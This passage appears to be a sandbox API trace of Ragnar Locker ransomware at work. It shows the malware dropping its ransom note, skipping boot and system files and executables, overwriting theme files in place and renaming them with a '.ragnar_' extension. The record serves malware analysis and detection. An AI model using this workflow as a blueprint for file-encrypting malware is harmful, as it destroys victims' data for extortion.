lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\RGNR_FD7BD9FC.txt" [0071.094] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.096] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*" [0071.096] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.096] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.096] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c9d7820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c9d7820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.096] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.096] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c9d7820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c9d7820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.096] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.096] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.096] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0071.096] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2=".") returned 1 [0071.096] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="..") returned 1 [0071.096] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0071.096] lstrcmpiW (lpString1="BLUECALM.INF", lpString2=".") returned 1 [0071.096] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="..") returned 1 [0071.096] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.096] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.096] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.096] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9d7820, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c9d7820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.096] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.097] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.097] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.097] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.097] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.097] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.097] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c9d7820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c9d7820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.097] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c9d7820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c9d7820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.097] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0071.097] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.129] lstrcpyW (in: lpString1=0x1eab72, lpString2="BLUECALM.ELM" | out: lpString1="BLUECALM.ELM") returned="BLUECALM.ELM" [0071.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned=".ELM" [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="autorun.inf") returned 1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="boot.ini") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="bootfont.bin") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="bootsect.bak") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="bootmgr") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="bootmgr.efi") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="bootmgfw.efi") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="desktop.ini") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="iconcache.db") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="ntldr") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="ntuser.dat") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="ntuser.dat.log") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="ntuser.ini") returned -1 [0071.129] lstrcmpiW (lpString1="BLUECALM.ELM", lpString2="thumbs.db") returned -1 [0071.129] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.129] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.129] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.129] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.129] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.129] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.129] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm")) returned 0x20 [0071.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.130] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=49850) returned 1 [0071.130] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xc2b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.130] GetProcessHeap () returned 0x580000 [0071.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.130] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.131] VirtualAlloc (lpAddress=0x0, dwSize=0xc2ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.132] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.132] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.132] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc2ba, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc2ba, lpOverlapped=0x0) returned 1 [0071.133] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.134] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc2ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.134] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc2ba, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc2ba, lpOverlapped=0x0) returned 1 [0071.134] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc2ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.134] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.135] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xc2ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.135] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.135] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.135] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.135] GetProcessHeap () returned 0x580000 [0071.135] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.135] CloseHandle (hObject=0x100) returned 1 [0071.136] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" [0071.136] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.ragnar_FD7BD9FC" [0071.136] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.138] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0071.138] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.138] lstrcpyW (in: lpString1=0x1eab72, lpString2="BLUECALM.INF" | out: lpString1="BLUECALM.INF") returned="BLUECALM.INF" [0071.138] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned=".INF" [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="autorun.inf") returned 1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="boot.ini") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="bootfont.bin") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="bootsect.bak") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="bootmgr") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="bootmgr.efi") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="bootmgfw.efi") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="desktop.ini") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="iconcache.db") returned -1 [0071.138] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="ntldr") returned -1 [0071.139] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="ntuser.dat") returned -1 [0071.139] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="ntuser.dat.log") returned -1 [0071.139] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="ntuser.ini") returned -1 [0071.139] lstrcmpiW (lpString1="BLUECALM.INF", lpString2="thumbs.db") returned -1 [0071.139] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0071.139] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0071.139] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0071.139] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0071.139] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0071.139] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0071.139] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0071.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0071.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0071.139] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=551) returned 1 [0071.139] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x21e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.139] GetProcessHeap () returned 0x580000 [0071.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.139] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.140] VirtualAlloc (lpAddress=0x0, dwSize=0x227, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.140] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.140] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.140] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x227, lpOverlapped=0x0) returned 1 [0071.141] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.141] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x227, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.141] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x227, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x227, lpOverlapped=0x0) returned 1 [0071.141] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x227, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.141] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.141] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.141] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.141] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.141] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.141] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.142] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.142] GetProcessHeap () returned 0x580000 [0071.142] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.142] CloseHandle (hObject=0x100) returned 1 [0071.142] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" [0071.142] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.ragnar_FD7BD9FC" [0071.142] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.143] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.143] GetFullPathNameW (in: 